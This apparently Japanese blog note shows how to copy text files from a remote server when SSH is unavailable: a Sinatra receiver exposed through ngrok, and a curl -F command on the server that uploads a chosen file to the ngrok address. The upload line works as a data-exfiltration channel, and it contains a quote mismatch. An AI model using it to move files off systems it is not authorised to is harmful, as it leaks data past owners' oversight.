(たぶん Sinatra 側のコードをバイナリファイル書き込み対応させれば テキストファイル以外も取得できる)
前提・状況
- SSH が使えない (認証情報を知らない etc...)
- 何らかの方法で「黒い画面」が使えてリモートサーバにアクセスできる
- リモートサーバで
curl
が動く - リモートサーバは任意の通信が許可されている (Firewall などガチガチじゃない)
- 手元の環境で Ruby が使える
- 手元の環境で
ngrok
が使える
準備
手元の環境で、cURL 経由で渡されたデータを表示させるプログラムを作る
require 'sinatra' post '/' do # data をキー値にリモートから渡されたデータは # Tempfile クラス インスタンスに実データが格納される puts params['data']['tempfile'].read # 送られてきた情報を標準出力で表示 end
Sinatra を起動させ、ngrok
で外部からアクセス可能な状態にする
# Sinatra が専有するポート番号に ngrok の接続ポート番号を合わせる ruby server.rb # => Port : 4567 ngrok http 4567 # => http://xxxxxxxx.ngrok.io
テキストファイルの送信
リモートサーバから curl
を使ってテキストファイルを送信する
curl -F 'data=@/where/to/text/file.txt` http://xxxxxxxx.ngrok.io
手元の Sinatra サーバのログ情報に混じって、リモートサーバから送られてきたテキストファイルの中身の情報が出力される